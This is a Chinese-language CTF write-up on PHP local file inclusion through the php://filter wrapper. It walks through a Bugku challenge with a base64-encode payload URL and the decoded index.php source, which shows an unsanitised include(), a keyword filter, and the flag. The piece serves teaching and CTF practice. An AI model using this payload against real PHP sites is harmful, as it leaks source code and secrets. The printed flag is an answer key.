php filter 的应用

本地文件包含漏洞和 php 伪协议

php://filter 的应用:

1、利用 base64 获得源码
2、通过读写编码实现绕过

php://filter 是什么?

php://filter 是什么:
php 中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。

参数:
resource=<要过滤的数据流>&nbsp; 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>&nbsp; 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>&nbsp; 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<; 两个链的筛选列表>&nbsp; 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

实例:bugku:“flag 在 index 里”


url 地址 http://120.24.86.145:8005/post/index.php?file=show.php
典型的文件包含漏洞,用到了 php 的封装协议

payload:
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

文件内容就会以 base64 编码的形式显示出来,解码就可以获得 flag
解码后的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

file=php://filter/read=convert.base64-encode/resource=index.php 的含义:
这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是 base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到 index.php 的源码,下面说说为什么,看到源码中的 include 函数,这个表示从外部引入 php 文件并执行,如果执行不成功,就返回文件的源码。

而 include 的内容是由用户控制的,所以通过我们传递的 file 参数,是 include() 函数引入了 index.php 的 base64 编码格式,因为是 base64 编码格式,所以执行不成功,返回源码,所以我们得到了源码的 base64 格式,解码即可。

如果不进行 base64 编码传入,就会直接执行,而 flag 的信息在注释中,是得不到的

部分内容来自:https://blog.csdn.net/zpy1998zpy/article/details/80585443